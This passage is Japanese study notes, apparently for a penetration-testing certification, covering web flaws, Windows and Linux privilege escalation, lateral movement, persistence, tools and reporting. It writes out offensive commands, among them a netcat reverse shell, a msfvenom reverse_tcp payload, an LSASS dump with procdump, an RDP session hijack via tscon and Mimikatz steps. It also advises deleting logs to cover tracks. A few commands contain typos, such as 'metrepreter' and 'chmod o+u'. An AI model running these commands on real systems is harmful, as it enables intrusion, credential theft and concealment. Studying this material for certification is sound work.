      →アプリケーションがユーザー提供の入力を使用してオブジェクトに直接アクセスするときに発生する一種のアクセス制御の脆弱性
  • クロスサイトスクリプティング (XSS)
    • 反射型(サーバ側で起きる)
      →一般的なWEBサイトに多い。
    • 持続型(サーバ側で起きる)
      WEBメール掲示板に多い。
    • DOM型(クライアント側で起きる)
      →ユーザの入力で動的に変化するサイトでよくある。
  • クロスサイトリクエストフォージェリ (CSRF/XSRF)
    CSRF脆弱性があるサイトにユーザがログインしている。
    →その状態で攻撃者が用意したサイトにアクセスする。
    →攻撃者のサイトで用意されたスクリプト脆弱性があるサイトで実行される。
    脆弱性のあるサイトでユーザの意図しない処理が行われる。
  • クリックジャッキング
    →リンクやボタンなどの要素を利用者が見えないように配置して、意図しない動作をさせようとする手法。
  • セキュリティミスコンフィギュレーション
    • ディレクトリトラバーサル
      →コンテンツへのPATHを直接指定することによって、アクセス制御がされていないコンテンツを不正に閲覧する手法。
    • Cookieの操作
  • ファイルのインクルード
    • ローカル
      →サーバ内のファイルを不正に読み込んで意図しない動作を行わせる攻撃。
    • リモート
      →悪意のある第3者が用意したリモート上のファイルをサーバが読み込んでしまうことで、任意のスクリプトの実行やWEBページの改ざんが行われる攻撃。
  • 安全でないコードプラクティス
    • ソースコード内のコメント
      ソースコード内のコメントから攻撃者に有益な情報を取得される恐れがある。
    • エラー処理の欠如
      →エラー処理が適切でないため、プログラムが落ちてしまうなど。
    • 過度に冗長なエラー処理
      →余計なエントリーポイントを作りこむ可能性。
    • ハードコードのクレデンシャル
      →プログラム中に記述された認証情報。
    • 競合状態
      →DB処理における競合。
    • 関数/保護されていないAPIの不正使用
      →開発側の意図していない処理をされる恐れ。
    • 隠れた要素
      • DOMの機密情報
        →DOMを利用して機密情報を窃取する。
    • コード署名の欠如
      →ソフトウェアの配布元が分からないので、正規のソフトウェアかどうか判断できない。

3.5与えられたシナリオに基づき、ローカルホストの脆弱性を利用することができる。

  • OSの脆弱性
  • セキュアでないサービスとプロトコルの設定
    →HTTPやFTPなど
  • 特権エスカレーション
    • Linux固有
      • SUID/SGID/スティッキービット
        • SUID
          →SUID(Set User ID)とは「誰がそのファイルを実行しても、セットされたユーザで実行される」ということ。SUIDでrootユーザを指定してある場合、認証なしでroot権限でそのコマンドを実行できてしまう。ファイルを「ls」コマンド等で見た時所有者のパーミッションに「s」フラグが立っていたら、その所有者の権限で認証なしにファイルが実行できる。できない場合は「S」となっている。
          →findコマンドを使用して、SUIDに設定されている実行ファイルを列挙するには以下のコマンドを投入する。
          find / -perm +4000
          →付与するにはchmod u+sまたはchmod 4755のように4000を足す。
          →剥奪するにはchmod u-sまたはchmod 755のように4000を引いた値をセットする。
        • SGID
          →SGID(Set Group ID)とは、グループに対して設定される特殊パーミッションのこと。ファイルにSGIDが適応されていた場合、そのグループの権限でファイルが実行される。ディレクトリにSGIDを指定しておくと、ディレクトリ内部で作成されたファイルは全てディレクトリのSGIDで指定したグループが割り振られる。SUIDと同じく特権的な動作を許してしまう場合があるので注意する必要がある。ファイルを「ls -l」か「ls -ld」コマンド等で見た時グループのパーミッションに「s」フラグが立っていたら、その所有者の権限で認証なしにファイルが実行できる。
          →findコマンドを使用して、SGIDに設定されている実行ファイルを列挙するには以下のコマンドを投入する。
          find / -perm +2000
          →付与するにはchmod g+sまたはchmod 2755のように2000を足す。
          →剥奪するにはchmod g-sまたはchmod 755のように2000を引いた値をセットする。
        • スティッキービット
          →スティッキービット(Sticky Bit)とは、ディレクトリに設定される特殊なアクセス権の事。設定されたディレクトリでは、すべてのユーザーがファイル・ディレクトリを書き込めますが、所有者だけ(rootは除く)しか削除できなくなる。
          find / -perm +1000
          →付与するにはchmod o+uまたはchmod 1755のように1000を足す。
          →剥奪するにはchmod o-uまたはchmod 755のように1000を引いた値をセットする。
      • 安全でないSUDO
        sudo ssh -F /etc/shadow 127.0.0.1のようなコードを使用した場合、非特権ユーザにもかかわらず、shadowファイルがエラーメッセージとして閲覧できる。
      • Ret2libc
        BoFにより、libcにある関数を呼び出す方法。実行時にlibcが動的にリンクされるのでASLRの影響を受けてしまうのが難点。
    • Windows固有
      • Cpassword
        →グループポリシーの基本設定項目にパスワードを格納する属性の名前。設定でユーザーのパスワードを保存する必要がある場合は常に、暗号化された形式でこの属性内に保存されるが、パスワードはドメイン内の認証されたユーザーであれば簡単に解読できる問題がある。
        →metasploitのモジュールだと、post/windows/gather/credentials/gppを使用する。
        →PowerSploitだと、Get-CachedGPPPasswordGet-GPPPassword コマンドを使用する。
      • LDAPのクリアテキストクレデンシャル
        LDAPの標準の認証方式はシンプルバインド(シンプル認証)と呼ばれる平文認証のため、認証連携自体は比較的簡単だが、ファイルにパスワードを平文で記述する必要があることに加え,ネットワーク上をパスワードが平文で流れてしまうため,セキュリティ上は極めて脆弱である。
      • Kerberoasting
        →サービスチケットからツール等を用いてサービス・アカウントのパスワードをクラックする攻撃のこと。
        1.Active Directoryをスキャンしてサービス・アカウント(SPNがセットされているアカウント)を列挙する。
        2.1.で列挙したサービス・アカウントに関連するサービスチケットをKDCから発行してもらう。
        3.発行されたサービスチケットをメモリに展開してファイルに保存する。
        4.ツール等を用いてオフラインでサービスチケットからサービス・アカウントのパスワードをクラックする。
        • Kerberos認証
          →ネットワーク認証方式の1つ。クライアントはネットワーク内のサーバにアクセスする際、まずKDC (Key Distribution Center)からサーバへアクセスするためのサービスチケットを発行してもらう。クライアントは発行してもらったサービスチケットを用いてサーバへアクセス要求を行い、サーバ側でクライアントの検証が済めばアクセスを許可する。Active Directoryにおいては、通常、Domain ControllerがKDCの役割を果たす。
        • サービス・アカウント
          →システム上のサービスやアプリケーションを実行するためのアカウントのこと。通常、コンピュータやアプリケーションに対して高い権限を有しており、攻撃者にとっては恰好の標的となる。
        • サービスチケット
          →ネットワーク内の各種サーバへアクセスする際、認証に使用されるチケット
        • SPN (Service Principal Name)
          →ネットワーク内のサーバやサービスを識別する識別子。KDCへサービスチケットを要求する際にSPNをセットすることにより、どのサーバやサービスのチケットが欲しいのかを伝える。
      • LSASS(Local Security Authority Subsystem Service)のクレデンシャル
        →ユーザーアカウントの管理やログオン認証に使用される実行ファイル。WindowsServer2000から2008までのWindows環境では、LSASSプロセスのメモリは、WDigestおよびSSP認証をサポートするためにパスワードをクリアテキストで格納していたので、Mimikatzなどのツールを使用してパスワードを簡単に取得可能。
        procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1
        Windows 8.1およびWindows Server 2012ではLSASSがパスワードをクリアテキストで保存すること防止しましたが、特権昇格した権限でレジストリを変更すると、LSASSプロセスにユーザーの次のログイン時にクリアテキストのパスワードをメモリに保存するように指示できる。
        HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)
      • 無人インストール
        →管理者がWindows展開サービス(WDS)を使用して、WindowsOSのイメージを作成して、ネットワーク経由で様々なシステムに展開する。これを無人インストールを呼ぶ。セキュリティ上の問題として、ローカル管理者パスワードが平文もしくはBase64で暗号化されて様々な場所に保存されること。場所は以下。
        C:\unattend.xml
        C:\Windows\Panther\Unattend.xml
        C:\Windows\Panther\Unattend\Unattend.xml

        C:\Windows\system32\sysprep.inf
        C:\Windows\system32\sysprep\sysprep.xml
        Metasploitを使用してこれらの認証情報を発見するには、以下のモジュールを使用する。
        post/windows/gather/enum_unattend
        また、システムがIIS Webサーバーを実行している場合は以下の場所をチェックする必要がある。
        C:\Windows\Microsoft.NET\Framework64\hoge\Config\web.config
        C:\inetpub\wwwroot\web.config→credentialsタグに入ってる。
      • SAM(Security Accounts Manager)データベース
        →WindowsOSのユーザ名とパスワードをハッシュとして保存しているDB。実体は%SystemRoot%/system32/config/SAMにある。
      • DLLハイジャック
        Windowsの検索およびロードアルゴリズムを利用する攻撃であり、攻撃者がディスク操作を介してアプリケーションにコードを挿入できるようにする。DLLファイルを適切な場所に置くだけで、脆弱なアプリケーションがその悪意のあるDLLをロードすることになる。ロードする順番は以下の通り。
    • エクスプロイト可能なサービス
      • 引用符で囲まれていないサービスパス(Unquoted Service Path)
        Windows環境において、サービスが開始されると、システムはサービスを起動するために実行ファイルの場所を見つけようとする。""引用符で囲まれている場合、システムはそれを認識するが、そうでない場合は実行可能ファイルに到達するまでのパスすべてで実行を試行しようとする。もし、このサービスがSYSTEM特権で実行されている場合は都県昇格が可能。
        • 見つける方法
          wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\" |findstr /i /v """
          →C:\Program Files\Unquoted Path Service\Common Files\service.exeとなっている場合
          C:\Program.exe
          C:\Program Files\Unquoted.exe
          C:\ Program Files \ Unquoted Path.exe
          C:\Program Files\Unquoted Path Service\Common.exe
          C:\ Program Files \ Unquoted Path Service \ Common Files \ service.exe
          という感じで悪意のあるファイルを配置出来たらOK。
        • チェック項目
          →SYSTEMとして稼働しているか。
          →サービスの実行ファイルまでのpath上またはサービスが実行されているディレクトリで標準ユーザが書き込み権限があるか。以下のコマンドで確認する。
          C:\Users\hoge>icacls C:\Windows\System32
          BUILTIN\Users:(F)
          or
          BUILTIN\Users:(M)

          ↑のようになったらディレクトリ内に書き込み可能なので、悪意のあるバイナリファイルを配置可能。
          (他にもPower UsersやNT AUTHORITY\Authenticated Users)
        • 実行
          →サービスを再起動して、再度読み込むときはSYSTEM特権で悪意のあるバイナリファイルが実行される。
        • バイナリファイルの配置
          msfvenom -p windows/metrepreter/reverse_tcp LHOST=192.168.1.1 LPORT=443 -f exe -o /hoge/huga.exeで生成。
          →正当なサービスの実行ファイルと生成したバイナリファイルを入れ替える。
          →meterpreterでリスナーを作成しておいて、サービスが再起動されるのを待つ。
      • 書き込み可能なサービス
        sc config hogeservice binpath=バイナリPATHによってサービスのバイナルPATHを書き換える。
        サービスが起動すると悪意のあるバイナリファイルが起動する。リバースシェルなどを起動する。
    • セキュアでないファイル/フォルダのアクセス許可
      →悪意のあるファイルを配置するなど可能。
    • キーロガー
      →ユーザの入力をコピーする。
    • スケジュールされたタスク
      →ローカルの権限のないユーザーがファイルのファイル権限を変更して、システムファイルを置き換えてから、特権ユーザーがアクセスするのを待つ。アクセスすると権限が昇格される。
    • カーネルエクスプロイト
      →システム内で最高権限を持つ特権モードで動作しているカーネルに存在する脆弱性を悪用して、管理者権限でコマンドを実行したりする。OSレベルの保護機能は結構あるけど、カーネルに関しては大抵の保護機能は意味ない。
  • デフォルトのアカウント設定
    →工場出荷時の状態のユーザ名とパスワードを調査して、それを使用する。
  • サンドボックスエスケープ
    • シェルのアップグレード
      →ユーザが活動できる最低限の機能を提供するようになっているシェルにおいて、悪意のあるユーザが制限された機能を以上の機能を使用するためにすること。制限されたシェルはrbash、lshell、rssh、rksh、rzsh等。vimを利用するのが有名。
    • VM
      →ゲストとして確立した仮想環境から、ホストの環境にアクセスすること。任意コードの実行などが可能。
    • コンテナ
      →コンテナ内からホストのプロセスを起動するなどの攻撃方法。
  • 物理的なデバイスのセキュリティ
    • コールドブート攻撃
      →不適切な方法(シャットダウン中に電源プラグを引き抜くなど)で電源を落とす際に、悪意のあるコード等を格納したUSBをPCにさすことで、電源が切れる直前までメモリに残っていた情報を盗む攻撃。盗難や紛失の際に使う。
    • JTAGデバッグ
      →IoTにおいて、デバイスは多くの場合データをRAMに保存する。JTAGはそのRAMにアクセスすることを可能にする。
    • シリアルコンソール
      →シリアルポート経由でルートシェルとユニバーサルブートローダの変更をすることが可能。

3.6施設に関連する物理的なセキュリティ攻撃を要約することができる。

  • ピギーバック/テールゲート(共連れ)
  • フェンスジャンプ(柵越え)
  • ダンプスターダイビング(ゴミあさり)
  • ロックピッキング(鍵開け)
  • ロックバイパス
  • 出口センサー
  • バッジクローン化

3.7与えられたシナリオに基づき、エクスプロイト後のテクニックを実行することができる。

  • Lateral movement
    • RPC(Remote procedure call) / DCOM(Distributed Component Object Model)
      →RPCとは、あるコンピュータで動作するソフトウェアから、通信回線やコンピュータネットワークを通じて別のコンピュータ上で動作するソフトウェアへ処理を依頼したり、結果を返したりするための規約。
      →DCOMとは、マイクロソフトMicrosoft)社が提唱していた、ソフトウェアの機能を部品化して外部から呼び出して利用する仕組みを定めた技術仕様「COM」(Component Object Model)の改良版で、異なるコンピュータ上のコンポーネント間で通信できるようにしたもの。
      →BloodHoundを使用して、コードを実行できるすべてのマシンを確認できる。
      MATCH p=({owned:true})-[:MemberOf*0..]->(g:Group)-[r:ExecuteDCOM|AdminTo]->() RETURN p
      • PsExec
        マイクロソフト純正の無償ツール。Windows標準ではない。ネットワークを介してリモート・コンピュータに接続してから、そこで直接ipconfigコマンドを実行できる。
        →前提として、ADMIN$共有が利用可能であること、ファイルとプリンタの共有が有効であること。
        psexec.exe -accepteula \TARGET cmd.exeで起動するなど。
      • WMI(Windows Management Instrumentation)135/tcp
        Windows OSを管理することを目的にMicrosoftが開発した技術。WMIを使えば、企業内に存在するさまざまなコンピュータ・システムをリモートから効率よく管理することができる。この仕組みを悪用する。リモートマシン内にプロセスを作成するには以下のようにする。
        wmic /node:TARGET process call create "notepad.exe"
        wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
      • スケジュールされたタスク
    • PSリモーティング/ WinRM(Windows Remote Management)5985/tcpもしくは5986/tcp
      PowerShell RemotingはリモートからPowershellを使用すること。システム管理者が保守作業をするときに楽。
      →WinRMWindows を遠隔で操作する仕組みのこと。SSHみたいなもの。Windows Server 2012 以降ならデフォルトで有効。リスナーが用意されてないとデフォルトで有効になっている機能とはいえ、接続できないからリスナーを用意する。
      Enable-PSRemoting -Force
      リモートの対話型のPowerShellプロンプトを取得するには以下のようにする。
      Enter-PSSession -Computername <computer_name>
      コマンドを実行するには以下のようにする。
      Invoke-Command -Computername <computer_name> -ScriptBlock {ipconfig}
    • SMB(Server Message Block )
      →SMBとは、主にWindowsを中心とした環境でLANを通じてファイル共有やプリンタ共有などに使用される通信プロトコルの総称。
      →受信側でSMB通信が改ざんされていないことをかくにんするためのSMB署名が無効になっていることが前提。
      →侵入した被害者1を経由して被害者2に横展開する場合、被害者1が持っている資格情報が被害者2のローカル管理者か管理者/ドメイン管理者グループに属している必要がある。
      →SMB署名が無効になっているかどうかは以下のNSEを使用する。disabledならOK。
      nmap -p 445 10.0.0.6 -sS --script smb-security-mode.nse
      →手法としては、SMB認証を被害者端末1から攻撃者端末に送信させるように仕向ける。これにはMITREの強制認証(T1187)を使用する。これによって送信されてきたSMB認証通信を攻撃者端末から被害者端末2へリレーする。その際に任意のコードを実行する。リレーにはsmbrelayx.pyを使用する。
    • RDP
      • 中間者攻撃
        →中間者攻撃によって、RDP通信のキャプチャに成功すると、平文のパスワードが流れてくることがあるので、それを活用して横展開に悪用する。
        →RDPの中間者攻撃においてはSethというRDP用の中間者攻撃ツールが有効。ネットワークレベル認証(NLA)が有効かどうかに関係なく、RDP中間者攻撃を自動化できるツール。使用するためには4つの引き数が必要となる。
        攻撃端末のeth、攻撃端末のIP、経由する侵入端末、最終的な攻撃端末
      • RDPInception
        →資格情報のない制限された環境で有効。参考
        →RDPが起動するたびに任意のコード実行するスクリプトが起動する。管理者orドメイン管理者がすでに侵入されているホスト上から、別の端末に対してRDP認証を使用とすると、バッチスクリプトが他の端末にコピーされる。
      • RDPセッションハイジャック
        →攻撃者が侵入した端末でローカル管理者権限を取得した場合、別のユーザーのRDPセッションを乗っ取ることが可能。攻撃者からすると、他のユーザの資格情報を盗む必要がないから楽。悪用可能なセッションはWindowsのタスクマネージャーから確認可能。ユーザタブを参照する。あるいは、query userでも確認できる。セッションIDを確認するにはquery sessionも使用可能。例えば、セッションID=1のRDPサービスが侵入した端末上にあるなら、システム権限でtscon(RDPサービスを切り替えるWindowsの機能)を使用して、ID=1のセッションに切り替えるサービスを作成する。
        sc create rdphijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#0"
        net start rdphijack
        →Mimikatzでもサポートしていて、まずセッションを確認するには、ts::sessions 使用する。
        その後、セッションをハイジャックするが、Mimikatzがローカル管理者権限でない場合はエラーが出るので、ローカル管理者権限になってからハイジャックする。
        ts::remote /id:1 →エラーになる
        privilege::debug
        token::elevate →権限昇格する
        ts::remote /id:1 →セッションをハイジャックする
    • ARD(Apple Remote Desktop)
      WindowsのRDPのApple版みたいなもの。構成としては、管理者とクライアントですが、AppStoreから管理者用のアプリはDLする。クライアントアプリはデフォルトでインストールされている。
      →ARDには、リモートシステム制御機能以外に資産管理機能があり、リモートSpotlight検索、ファイル検索、ソフトウェアバージョン情報レポートの生成、アプリケーションの使用状況とユーザー履歴レポートの生成も可能。
    • VNC(Virtual Network Computing)5800/tcp 5801/tcp 5900/tcp 5901/tcp
      →ネットワーク上のコンピュータを遠隔操作するためのデファクトスタンダードなソフト。
      →通信に暗号を用いないため、パスワードをなどは平文で送信される。Telnetのように危険なプロトコルである。
      →nmapでNSEを用いて調べるに以下のコマンド使用する。
      nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
      →msfconsoleで使用するなら以下のモジュールを使用する。
      use auxiliary/scanner/vnc/vnc_none_auth
      →kaliからvncに接続するには以下のコマンドを使用する。
      vncviewer [-passwd passwd.txt] <IP>::5901
      VNCは3desでパスワードが暗号化されているので、パスワードファイルを所持している場合はこちらのツールLinux)を使用して復号可能。Windowsこっち
      vncpwd <vnc password file>
      →vncviewerを使用する
    • Xサーバ転送 6000/tcp
      →Xサーバとは、X Window Systemにおいて、サーバ(利用者が入力する側)の機能の事。nmapでスキャンすると、「X11」が稼働している表示が出る。Xサーバーのアクセス制御は無効になっているが、管理をするために有効になっている場合がある。この場合、想定外のユーザでもサーバにアクセスすることが可能となる。参照
      →アクセス可能かどうかの判定にはNSEを使用する。
      nmap 192.168.1.109 -p 6000 --script x11-access
    • Telnet 23/tcp
      →リモートアクセスに使用するサービス。平文でやり取りするので、窃取したユーザID・PWを使用して侵害を拡大する。
    • SSH 22/tcp
      →ほかのすべての横展開の方法が成功しない場合有効な手段として、SSHを使用することを検討する。
      SSHの機能である「SSHポートフォワーディング」によって、侵害した端末からアクセス可能な別の端末にアクセスする。コマンドは以下のよう「-L」オプションを付ける。「-N」オプションによって、認証成功した場合にコマンドを実行しないよにするので、シェルを起動しない。
      ーカルポート番号:リモートホストアドレス:ホストポート番号
      ssh -L 9999:192.168.100.20:80 192.168.100.10 -N
      この時、たとえばブラウザでhttp://localhost:9999/としてアクセスすると、「SSHポートフォワーディング」によって、192.168.100.20:80 にアクセスしたことになります。
      windowsにはデフォルトでSSHクライアント/サーバは入ってないので、インストールの必要がある。
    • RSH/Rlogin
      →RSH:別のユーザーとしてシェルのコマンドを実行したり、コンピュータネットワーク経由で別のコンピュータ上でシェルのコマンドを実行したりするCUIプログラムの事。
      →rlogin:UNIXでネットワーク経由で遠隔のサーバにログインするソフトウェア・ユーティリティであり、TCPポート番号 513 を使う。管理者ユーザでログインできる可能性があるため、rlogin -l root IPコマンドを使用して、ログインを試行する。
  • 持続性
    • スケジュールされたジョブ(Linux
      →cronで「分、時、日、月、曜日」で自動実行。
      →atで将来に1度だけ実行する。
    • スケジュールされたタスク(windows
      →「schtasks」コマンドを使用して、スケジュールされたタスクを作成することが可能。例えば、指定した時刻に毎回起動するようにするなど。
  • デーモン
    • バックドア
      →侵入した場合次回以降のアクセスを容易にするために設置される。
    • トロイの木馬
      →正規の製品と見せて裏で悪意のある処理を実行する。
    • 新しいユーザー作成
      →新しく管理者権限を持っているユーザを作成。リモートデスクトップユーザの作成。
  • 痕跡を削除する
    • Webブラウザーのキャッシュと履歴
    • ファイルの移動、非表示、名前の変更
    • windowsのイベントビューワーからログを削除
    • linuxの/var/logからログを削除

4.0 ペネトレーションテストツール

4.1与えられたシナリオに基づき、Nmapを使って情報収集演習を実施することができる。

  • SYNスキャン (-sS) と全接続スキャン (-sT)
    • -sS
      TCP SYN スキャン、ハーフオープンスキャン
      TCPコネクションを確立しないため、比較的秘匿性が高い。
    • -sT
      TCP Connect スキャン
      →SYNスキャンを選択できない場合のデフォルトのTCPスキャンタイプ。
      →SYNスキャンが利用できる場合は通常、そちらを使用した方がよい。
  • ポートの選択 (-p)
    →ハイフンで(1-1023)としてする。
    →-p-と指定すると、(1-65535)ポートスキャンする。
  • サービスID (-sV)
    →バージョン検出。
    -Aオプションを使うと、OS検出とバージョン検出の両方を実行可能。
  • OSフィンガープリンティング (-O)
    →OS検出を実行する。
    -Aオプションを使うと、OS検出とバージョン検出の両方を実行可能。
  • pingの無効化 (-Pn)
    →事前のping送信をせずにスキャンを行う
    windowsではping応答しない場合があるのでつけることが推奨
  • ターゲット入力ファイル (-iL)
    →スキャンしたいホストのリストを作成し、それをNmapに食わせる。
    →形式はNmapに対応しているものであればよい。
    →1つ以上のスペース、タブ、改行文字で区切る必要がある。
  • タイミング (-T)
    →スキャンが遅い対象は切り捨てるなどした方が効率はいいが、いちいち指定するのも面倒なので、お手軽に6つのテンプレがあるからそれを使用する。6つある。
    • paranoid (0)
      →IDS回避用のテンプレート。
      →何千ものマシンやポートをスキャンするには非常に長い時間がかかる。
      →スキャンを連続的に実行して一度に1つのポートしかスキャンされないようにする。
      →各プローブを送信する間に5分間待機する。
    • sneaky (1)
      →IDS回避用のテンプレート。
      →何千ものマシンやポートをスキャンするには非常に長い時間がかかる。
      →プローブ間の待機時間が15秒。
    • polite (2)
      →スキャン処理速度を落とし、帯域幅とターゲットマシンのリソースの使用量を少なくするためのもの。
      →デフォルトスキャンの10倍の時間がかかる。
      →プローブ間の待機時間が0.4秒
    • normal (3)
      →デフォルト。
    • aggressive (4)
      ユーザが適度に高速で信頼性の高いネットワーク上にいることを想定して、スキャン速度を上げるために使用。
      →適度に信頼性が高いネットワークをスキャンする場合はオススメ。
    • insane (5)
      →非常に高速なネットワーク上にいるか、あるいは速度と引き換えに精度の一部を犠牲にしても構わない場合を想定したモード。
  • 出力パラメータ
    • -oA(全フォーマットに出力する)
      →スキャン結果を<basename>.nmap、<basename>.xml、<basename>.gnmapの3つすべての形式で出力する。
    • -oN(通常出力)
      →標準出力
    • -oG (Grep検索可能出力)
      XML出力フォーマットのほうがはるかに強力ということで廃止予定の機能。
    • -oX(XML 出力)
      XML出力が指定した名前のファイルに書き込まれるようにする。

4.2さまざまなツールの使用例を比較対照することができる。

  • 用途
  • ツール
    • スキャナー
    • クレデンシャルテストツール
      • Hashcat
        →パス蔵用のツール。GPUが使える。
      • Medusa
        →Hydraが使える環境では必要ないが、特徴的な機能がある。
      • Hydra
        →よく使われるブルートフォースツール。
      • Cewl(Custom Word List Generator)
        →辞書ベースのWEBクローラー。自分でカスタムワードリストを作成することも可能。
      • John the Ripper
        →パスワード解析用のツール。
      • Cain and Abel
        →元来はパスワードリカバリーツールとして使用されるが、スニッファとしても使用可能。
        メンテナンスされていない。
      • Mimikatz
        WindowsのSAMファイルからハッシュダンプするときなどに使用する。
      • Patator
        →Hydraと同様のツールだが、スクリプトキディには使用困難なツール。
      • Dirbuster
        →2013年以降メンテナンスされていないが、辞書ベースのファイルとディレクトリの発見ツール。
      • W3AF(Web Application Attack and Audit Framework)
        →ファイルとディレクトリのブルートフォース攻撃ツールが内蔵されているツール。
    • デバッガ
    • ソフトウェア保証
      • Findbugs/findsecbugs
        Javaソフトを検査する静的解析ツール。
      • Peach
        →ファジングツール。
      • AFL
        →ファジングツール。
      • SonarQube
        オープンソースのソフトウェア監査ツール。
      • YASCA(Yet Another Source Code Analyzer)
        →多言語で使用可能なオープンソースのソフトウェア監査ツール。
    • OSINT
      • Whois
        →インターネット上でのドメイン名・IPアドレス・Autonomous System (AS) 番号の所有者を検索するためのプロトコル
      • Nslookup
        →多くのオペレーティングシステムで使用できるネットワーク管理のためのコマンドラインツールで、ドメイン名とIPアドレスの対応付け、その他のDNSレコードを取得するためにDomain Name System(DNS)に問い合わせを行う。
      • Foca(Fingerprinting Organizations with Collected Archives)
        →スキャンしたドキュメントのメタデータと非表示の情報を見つけるために使用されるツール。
        主なターゲットとして、MSOfficeやOpenOffice、PDFがある。
      • Theharvester
        ドメイン名からメールアドレスやサブドメインPGP鍵、仮想ホストやオープンポート、Googleなどの検索エンジンから従業員の名前などを発見するためのツール。
      • Shodan
        →インターネットに接続しているデバイスを検索する事ができる検索エンジン
        特徴として、権限のないアクセスを防ぐための十分な対策をとらずに迂闊にインターネットに接続しているデバイスを見つける。
      • Maltego
        →あるドメインやURLに紐づくありとあらゆる情報を自動的に収集して可視化するツール。
      • Recon-NG
        →Maltegoと似たようなツール。ドメイン名をもとにして情報を収集する。CLIツール。
      • Censys
        →Shodanと似たようなツール。インターネット全体を日々スキャンして全ての脆弱なデバイスを探し出す新たな検索エンジン。デバイス脆弱性を見つけるためにIPv4アドレス空間を日常的にスキャンし、ホストやWebサイトの情報を収集する。
    • ワイヤレス
      • Aircrack-NG
        WiFiネットワークのセキュリティを評価するためのツール。
      • Kismet
        オープンソースのネットワークソフト。ワイヤレスネットワーク検出/スニッファ/侵入検知システム。
      • WiFite
        Linux専用のwifi攻撃ツール。
    • Webプロキシ
      • OWASP ZAP
        →非商用。
      • Burp Suite
        →商用。
    • ソーシャルエンジニアリングツール
      • SET(Social Engineering Toolkit)
        →Metasploitライクなソーシャルエンジニアリング攻撃用のツール。
      • BeEF(Browser Exploitation Framework)
        →特にブラウザの機能を攻撃対象にするツール。
    • リモートアクセスツール
      • SSH
        Linuxで主に使用可能なリモートアクセス用のツール。/sshファイルを見て認証情報を取得可能か見てみる。
      • NCAT
        →NETCATの後継。Nmapを展開している団体が作成。多機能になって使いやすくなっている。
      • NETCAT
        →リバースシェルを構築する際によく使用されるツール。
        Linuxだと以下のコマンド。
        nc [IP of remote system] [port] -e /bin/sh
        Windowsだと以下のコマンド。
        nc [IP of remote system] [port] -e cmd.exe
        待ち受ける側でリスナを作成するコマンドは以下。
        nc -l -p [port] -e /bin/sh
      • Proxychain
        →通信内容を隠すために、プロキシサーバを経由して通信内容を隠す方法。
        →ツールをインストールする必要あり。
    • ネットワーキングツール
      • Wireshark
        プロトコル解析ツール。ネットワークの盗聴などに使用する。
      • Hping
        CLIツールで、カスタムHTTPリクエストを送出可能。
    • モバイルツール
      • Drozer
        Android製品とアプリに対する攻撃ツール。
      • APKX
        →APKファイルを解析するツール。
      • APK studio
        →APKファイルを解析するツール。
    • MISC
      • Searchsploit
        CLIツール。Exploit-DBの内容をコマンドで検索できる。
      • Powersploit
        →リモートのコンピュータ上でファイルやコマンドを実行するためのツール。
      • Responder
        →クライアント/ターゲットがDNSを介して名前を解決できない場合、LLMNR(Windows Vistaで導入)およびNBT-NSを介した名前解決をするが、その時の名前解決要求に対してResponderが応答することでユーザーのパスワードハッシュを盗むなどの攻撃に発展可能。
      • Impacket
        →smbやケルベロス認証に対する攻撃に有用なツールがあるモジュール。
      • Empire
        →さまざま操作が可能なpowershellを悪用するためのツールがるモジュール。
      • Metasploit framework
        →偵察用の機能から攻撃用の機能まで幅広く搭載されているツール。

4.3与えられたシナリオに基づき、ペネトレーションテストに関連するツールからのアプトプットやデータを分析することができる。

  • パスワードクラッキング
  • Pass-the-hash攻撃
  • バインドシェルの設定
  • リバースシェルの取得
  • 接続のプロキシ
  • Webシェルのアップロード
  • インジェクション

4.4与えられたシナリオに基づき、基本的なスクリプトBashPythonRubyPowerShellに限る)を分析することができる。

  • ロジック
    • for文
      • python
        for a in b:
          処理
      • ruby
        for a in 1..5 do
          処理
        end
      • bash
        for 繰り返し条件
        do
          処理
        done
      • powershell
        for ($a=0; $a -lt 5; $a++){
          処理
        }
    • if文
      • python
        if a > b:
          処理
        else
          処理
      • ruby
        if a > b then
          処理
        else
          処理
        end
      • bash
        if [$a -gt $b] ; then
          処理
        else
          処理
        fi
      • powershell
        if(a -gt b){
          処理
        }Else{
          処理
        }
  • I/O
    • ファイルとターミナルとネットワーク
  • 置換
  • 変数
  • 共通操作
    • 文字列操作
    • 比較
  • エラーハンドリング
  • 配列
  • エンコード/デコード

5.0 報告とコミュニケーション

5.1与えらえたシナリオに基づき、レポートの作成とベストプラクティスを使用することができる。

  • データの正規化
    ペネトレーションテスト完了レポート作成に使用。
  • 発見と改善の報告書
    • エグゼクティブサマリー
    • 方法論
    • 所見と改善
    • 指標と対策
      • リスク評価
    • 終了時
  • リスクアペタイト
    →組織の目的や事業計画を達成するために、能動的に受け入れるリスクの種類と数を明示したもの。
  • レポートの保存時間
  • レポートの安全な取り扱いと処分

5.2レポート後の実施アクティビティを説明することができる。

  • エンゲージメント後のクリーンアップ
    →基本的に、テスト内容は文書化しておき、テストが終了したら文書をもとにしてもれなく復元する。
    • シェルの取り外し
    • テスターが作成した証明書を削除する
    • ツールを削除する
  • クライアントの受け入れ
  • 教訓の管理
    →ユーザ側では、テストの結果を組織で共有するために活用する。
    →実施者側としては、次回以降のテストに活用するために組織内で共有する。
  • フォローアップ活動/再テスト
    →指摘事項が修正されているかを確認する。
  • 調査結果の証明

5.3与えられたシナリオに基づき、発見された脆弱性に対する軽減戦略を提案することができる。

  • ソリューション
  • 調査結果
    • 共有ローカル管理者のクレデンシャル
    • パスワードの複雑さが弱い
    • プレーンテキストのパスワード
    • マルチファクタ認証なし
    • SQLインジェクション
    • 不要なオープンサービス
  • 改善
    • クレデンシャル/LAPSをランダム化する
    • 最小限のパスワード要件/パスワードフィルタ
    • パスワードを暗号化する
    • マルチファクタ認証を実装する
    • ユーザ入力のサニタイズ/クエリのパラメータ化
    • システムハードニング

5.4ペネトレーションテストのプロセスにおけるコミュニケーションの重要性を説明することができる。

  • コミュニケーションパス
    →不測の事態が発生した場合に誰に連絡するか決める。
  • コミュニケーショントリガ
    • 重要な発見
      →侵害の痕跡を発見した場合など。
    • ステージ
    • 事前妥協の指標
